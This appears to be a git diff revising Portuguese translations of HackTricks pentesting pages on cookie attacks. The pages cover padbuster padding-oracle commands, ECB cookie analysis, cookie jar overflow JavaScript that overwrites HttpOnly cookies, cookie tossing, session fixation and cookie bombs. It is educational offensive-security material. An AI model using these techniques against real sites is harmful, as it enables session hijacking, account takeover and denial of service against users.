* Verifique se o cookie contém alguma informação e tente modificá-lo.
|
||||||
* Tente criar várias contas com usernames quase iguais e verifique se consegue ver semelhanças.
|
* Tente criar várias contas com usernames quase iguais e verifique se consegue ver semelhanças.
|
||||||
* Verifique a opção "**lembrar-me**" se existir para ver como funciona. Se existir e puder ser vulnerável, sempre use o cookie de **lembrar-me** sem nenhum outro cookie.
|
* Verifique a opção de "**lembrar-me**" se existir para ver como funciona. Se existir e puder ser vulnerável, sempre use o cookie de **lembrar-me** sem nenhum outro cookie.
|
||||||
* Verifique se o cookie anterior funciona mesmo depois de você alterar a senha.
|
* Verifique se o cookie anterior funciona mesmo depois de você alterar a senha.
|
||||||
|
|
||||||
#### **Ataques avançados de cookies**
|
#### **Ataques avançados de cookies**
|
||||||
|
|
||||||
Se o cookie permanecer o mesmo (ou quase) quando você fizer login, isso provavelmente significa que o cookie está relacionado a algum campo de sua conta (provavelmente o nome de usuário). Então você pode:
|
Se o cookie permanecer o mesmo (ou quase) ao fazer login, isso provavelmente significa que o cookie está relacionado a algum campo de sua conta (provavelmente o nome de usuário). Então você pode:
|
||||||
|
|
||||||
* Tente criar muitas **contas** com usernames muito **semelhantes** e tente **adivinhar** como o algoritmo está funcionando.
|
* Tente criar muitas **contas** com usernames muito **similares** e tente **adivinhar** como o algoritmo está funcionando.
|
||||||
* Tente **bruteforce no username**. Se o cookie salvar apenas como um método de autenticação para seu nome de usuário, então você pode criar uma conta com o nome de usuário "**Bmin**" e **bruteforce** cada **bit** do seu cookie porque um dos cookies que você tentará será o pertencente ao "**admin**".
|
* Tente **bruteforce no username**. Se o cookie salvar apenas como um método de autenticação para seu nome de usuário, então você pode criar uma conta com o nome de usuário "**Bmin**" e **bruteforce** cada **bit** do seu cookie porque um dos cookies que você tentará será o pertencente ao "**admin**".
|
||||||
* Tente **Padding** **Oracle** (você pode descriptografar o conteúdo do cookie). Use **padbuster**.
|
* Tente **Padding** **Oracle** (você pode descriptografar o conteúdo do cookie). Use **padbuster**.
|
||||||
|
|
||||||
|
@ -223,11 +223,11 @@ padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies a
|
||||||
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
|
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
|
||||||
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
|
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
|
||||||
```
|
```
|
||||||
Padbuster fará várias tentativas e perguntará qual é a condição de erro (aquela que não é válida).
|
Padbuster fará várias tentativas e perguntará qual condição é a condição de erro (aquela que não é válida).
|
||||||
|
|
||||||
Em seguida, ele começará a descriptografar o cookie (isso pode levar vários minutos).
|
Em seguida, ele começará a descriptografar o cookie (isso pode levar vários minutos).
|
||||||
|
|
||||||
Se o ataque for realizado com sucesso, então você poderá tentar criptografar uma string de sua escolha. Por exemplo, se você quiser **criptografar** **user=administrador**.
|
Se o ataque for realizado com sucesso, então você poderia tentar criptografar uma string de sua escolha. Por exemplo, se você quisesse **criptografar** **user=administrador**.
|
||||||
```
|
```
|
||||||
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
|
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
|
||||||
```
|
```
|
||||||
|
@ -245,12 +245,12 @@ Talvez um cookie possa ter algum valor e ser assinado usando CBC. Então, a inte
|
||||||
|
|
||||||
**ECB**
|
**ECB**
|
||||||
|
|
||||||
Se o cookie for criptografado usando ECB, ele pode ser vulnerável.\
|
Se o cookie for criptografado usando ECB, pode ser vulnerável.\
|
||||||
Quando você faz login, o cookie que você recebe deve ser sempre o mesmo.
|
Quando você faz login, o cookie que você recebe deve ser sempre o mesmo.
|
||||||
|
|
||||||
**Como detectar e atacar:**
|
**Como detectar e atacar:**
|
||||||
|
|
||||||
Crie 2 usuários com dados quase iguais (nome de usuário, senha, e-mail, etc.) e tente descobrir algum padrão dentro do cookie fornecido
|
Crie 2 usuários com dados quase iguais (nome de usuário, senha, e-mail, etc.) e tente descobrir algum padrão dentro do cookie fornecido.
|
||||||
|
|
||||||
Crie um usuário chamado, por exemplo, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" e verifique se há algum padrão no cookie (como o ECB criptografa com a mesma chave a cada bloco, os mesmos bytes criptografados podem aparecer se o nome de usuário for criptografado).
|
Crie um usuário chamado, por exemplo, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" e verifique se há algum padrão no cookie (como o ECB criptografa com a mesma chave a cada bloco, os mesmos bytes criptografados podem aparecer se o nome de usuário for criptografado).
|
||||||
|
|
||||||
|
@ -277,7 +277,7 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -7,12 +7,12 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
**`Cookie bomb`** envolve **adicionar um número significativo de cookies grandes a um domínio e seus subdomínios visando um usuário**. Essa ação resulta no envio de **solicitações HTTP excessivamente grandes** para o servidor, que são posteriormente **rejeitadas pelo servidor**. A consequência disso é a indução de uma Negativa de Serviço (DoS) especificamente direcionada a um usuário dentro desse domínio e seus subdomínios.
|
**`Cookie bomb`** envolve **adicionar um número significativo de cookies grandes a um domínio e seus subdomínios visando um usuário**. Essa ação resulta no usuário **enviando solicitações HTTP muito grandes** para o servidor, que são posteriormente **rejeitadas pelo servidor**. A consequência disso é a indução de uma negação de serviço (DoS) especificamente direcionada a um usuário dentro desse domínio e seus subdomínios.
|
||||||
|
|
||||||
Um bom **exemplo** pode ser visto neste relatório: [https://hackerone.com/reports/57356](https://hackerone.com/reports/57356)
|
Um bom **exemplo** pode ser visto neste relatório: [https://hackerone.com/reports/57356](https://hackerone.com/reports/57356)
|
||||||
|
|
||||||
|
|
|
@ -1,19 +1,19 @@
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
|
||||||
Os navegadores têm um **limite no número de cookies** que podem armazenar para uma página. Então, se por algum motivo você precisar **fazer um cookie desaparecer**, você pode **sobrecarregar o pote de cookies** já que os mais antigos serão deletados primeiro:
|
Os navegadores têm um **limite no número de cookies** que podem armazenar para uma página. Então, se por algum motivo você precisar **fazer um cookie desaparecer**, você pode **sobrecarregar o pote de cookies** pois os mais antigos serão excluídos antes:
|
||||||
```javascript
|
```javascript
|
||||||
// Set many cookies
|
// Set many cookies
|
||||||
for (let i = 0; i < 700; i++) {
|
for (let i = 0; i < 700; i++) {
|
||||||
|
@ -25,24 +25,25 @@ for (let i = 0; i < 700; i++) {
|
||||||
document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`;
|
document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Observe que cookies de terceiros apontando para um domínio diferente não serão sobrescritos.
|
Observe que os cookies de terceiros apontando para um domínio diferente não serão sobrescritos.
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Este ataque também pode ser usado para **sobrescrever cookies HttpOnly, pois você pode deletá-los e então redefini-los com o valor que desejar**.
|
Este ataque também pode ser usado para **sobrescrever cookies HttpOnly, pois você pode excluí-lo e depois redefini-lo com o valor desejado**.
|
||||||
|
|
||||||
Verifique isso neste [**post com um laboratório**](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/).
|
Confira isso neste [**post com um laboratório**](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/).
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Participe do grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou do grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,59 +1,59 @@
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
|
||||||
## Descrição
|
## Descrição
|
||||||
|
|
||||||
Se um atacante pode **controlar um subdomínio ou o domínio de uma empresa ou encontrar um XSS em um subdomínio**, ele poderá realizar esse ataque.
|
Se um atacante puder **controlar um subdomínio ou o domínio de uma empresa ou encontrar um XSS em um subdomínio**, ele será capaz de realizar esse ataque.
|
||||||
|
|
||||||
Como foi indicado na seção de Hacking de Cookies, quando um **cookie é definido para um domínio (especificando-o), ele será usado no domínio e subdomínios.**
|
Como foi indicado na seção de Hacking de Cookies, quando um **cookie é definido para um domínio (especificando-o), ele será usado no domínio e subdomínios.**
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Portanto, **um atacante poderá definir para o domínio e subdomínios um cookie específico fazendo algo como** `document.cookie="session=1234; Path=/app/login; domain=.example.com"`
|
Portanto, **um atacante será capaz de definir para o domínio e subdomínios um cookie específico fazendo algo como** `document.cookie="session=1234; Path=/app/login; domain=.example.com"`
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Isso pode ser perigoso, pois o atacante pode:
|
Isso pode ser perigoso, pois o atacante pode:
|
||||||
|
|
||||||
* **Fixar o cookie da vítima na conta do atacante** para que, se o usuário não perceber, **ele realizará as ações na conta do atacante** e o atacante poderá obter algumas informações interessantes (verificar o histórico de buscas do usuário na plataforma, a vítima pode cadastrar seu cartão de crédito na conta...)
|
* **Fixar o cookie da vítima na conta do atacante** para que, se o usuário não perceber, **ele realizará as ações na conta do atacante** e o atacante pode obter algumas informações interessantes (verificar o histórico de pesquisas do usuário na plataforma, a vítima pode inserir seu cartão de crédito na conta...)
|
||||||
* Se o **cookie não mudar após o login**, o atacante pode simplesmente **fixar um cookie**, esperar até que a vítima faça login e então **usar esse cookie para entrar como a vítima**.
|
* Se o **cookie não mudar após o login**, o atacante pode simplesmente **fixar um cookie**, esperar até que a vítima faça login e então **usar esse cookie para fazer login como a vítima**.
|
||||||
* Se o **cookie estiver definindo algum valor inicial** (como no flask onde o **cookie** pode **definir** o **token CSRF** da sessão e esse valor será mantido após o login da vítima), o **atacante pode definir esse valor conhecido e então abusar dele** (nesse cenário, o atacante pode fazer o usuário realizar uma solicitação CSRF, pois ele conhece o token CSRF).
|
* Se o **cookie estiver definindo algum valor inicial** (como no flask onde o **cookie** pode **definir** o **token CSRF** da sessão e esse valor será mantido após o login da vítima), o **atacante pode definir esse valor conhecido e então abusar dele** (neste cenário, o atacante pode então fazer o usuário realizar uma solicitação CSRF, pois ele conhece o token CSRF).
|
||||||
|
|
||||||
## Ordem dos Cookies
|
## Ordem dos Cookies
|
||||||
|
|
||||||
Quando um navegador recebe dois cookies com o mesmo nome **afetando parcialmente o mesmo escopo** (domínio, subdomínios e caminho), o **navegador enviará ambos os valores do cookie** quando ambos forem válidos para a solicitação.
|
Quando um navegador recebe dois cookies com o mesmo nome **afetando parcialmente o mesmo escopo** (domínio, subdomínios e caminho), o **navegador enviará os dois valores do cookie** quando ambos forem válidos para a solicitação.
|
||||||
|
|
||||||
Dependendo de quem tem **o caminho mais específico** ou qual é o **mais antigo**, o navegador **definirá o valor do cookie primeiro** e depois o valor do outro, como em: `Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;`
|
Dependendo de quem tem **o caminho mais específico** ou qual é o **mais antigo**, o navegador **definirá o valor do cookie primeiro** e depois o valor do outro como em: `Cookie: iduser=CookieMaisEspecíficoEMaisAntigo; iduser=MenosEspecífico;`
|
||||||
|
|
||||||
A maioria dos **sites usará apenas o primeiro valor**. Então, se um atacante quiser definir um cookie, é melhor definir antes que outro seja definido ou definir com um caminho mais específico.
|
A maioria dos **sites usará apenas o primeiro valor**. Portanto, se um atacante quiser definir um cookie, é melhor defini-lo antes que outro seja definido ou defini-lo com um caminho mais específico.
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Além disso, a capacidade de **definir um cookie em um caminho mais específico** é muito interessante, pois você poderá fazer a **vítima trabalhar com seu cookie, exceto no caminho específico onde o cookie malicioso definido será enviado antes**.
|
Além disso, a capacidade de **definir um cookie em um caminho mais específico** é muito interessante, pois você poderá fazer com que a **vítima trabalhe com seu cookie, exceto no caminho específico onde o cookie malicioso definido será enviado primeiro**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Proteção Bypass
|
## Bypass de Proteção
|
||||||
|
|
||||||
Uma possível proteção contra esse ataque seria que o **servidor web não aceitasse solicitações com dois cookies com o mesmo nome, mas com dois valores diferentes**.
|
Uma possível proteção contra esse ataque seria que o **servidor web não aceitasse solicitações com dois cookies com o mesmo nome, mas com dois valores diferentes**.
|
||||||
|
|
||||||
Para contornar o cenário em que o atacante está definindo um cookie depois que a vítima já recebeu o cookie, o atacante poderia causar um **overflow de cookie** e então, uma vez que o **cookie legítimo seja excluído, definir o malicioso**.
|
Para contornar o cenário em que o atacante está definindo um cookie depois que a vítima já recebeu o cookie, o atacante poderia causar um **overflow de cookie** e, uma vez que o **cookie legítimo for excluído, definir o malicioso**.
|
||||||
|
|
||||||
{% content-ref url="cookie-jar-overflow.md" %}
|
{% content-ref url="cookie-jar-overflow.md" %}
|
||||||
[cookie-jar-overflow.md](cookie-jar-overflow.md)
|
[cookie-jar-overflow.md](cookie-jar-overflow.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
Outro **bypass** útil poderia ser **codificar o nome do cookie na URL** já que algumas proteções verificam se há 2 cookies com o mesmo nome em uma solicitação e então o servidor decodificará os nomes dos cookies.
|
Outro **bypass** útil poderia ser **codificar em URL o nome do cookie** pois algumas proteções verificam se há 2 cookies com o mesmo nome em uma solicitação e então o servidor decodificará os nomes dos cookies.
|
||||||
|
|
||||||
## Cookie Bomb
|
## Bomba de Cookie
|
||||||
|
|
||||||
Um ataque de Cookie Tossing também pode ser usado para realizar um ataque de **Cookie Bomb**:
|
Um ataque de Cookie Tossing também pode ser usado para realizar um ataque de **Cookie Bomb**:
|
||||||
|
|
||||||
|
@ -65,8 +65,8 @@ Um ataque de Cookie Tossing também pode ser usado para realizar um ataque de **
|
||||||
|
|
||||||
### **Use o prefixo `__Host` no nome do cookie**
|
### **Use o prefixo `__Host` no nome do cookie**
|
||||||
|
|
||||||
* Se um nome de cookie tiver esse prefixo, ele **será aceito** apenas em uma diretiva Set-Cookie se estiver marcado como Seguro, foi enviado de uma origem segura, não incluir um atributo de Domínio e tiver o atributo de Caminho definido para /
|
* Se um nome de cookie tiver esse prefixo, ele **será aceito apenas** em uma diretiva Set-Cookie se for marcado como Seguro, foi enviado de uma origem segura, não incluir um atributo de Domínio e tiver o atributo de Caminho definido como /
|
||||||
* **Isso impede que subdomínios forcem um cookie para o domínio principal, já que esses cookies podem ser vistos como "bloqueados por domínio"**
|
* **Isso impede que subdomínios forcem um cookie para o domínio principal, pois esses cookies podem ser vistos como "bloqueados por domínio"**
|
||||||
|
|
||||||
## Referências
|
## Referências
|
||||||
|
|
||||||
|
@ -77,14 +77,14 @@ Um ataque de Cookie Tossing também pode ser usado para realizar um ataque de **
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -6,10 +6,10 @@
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
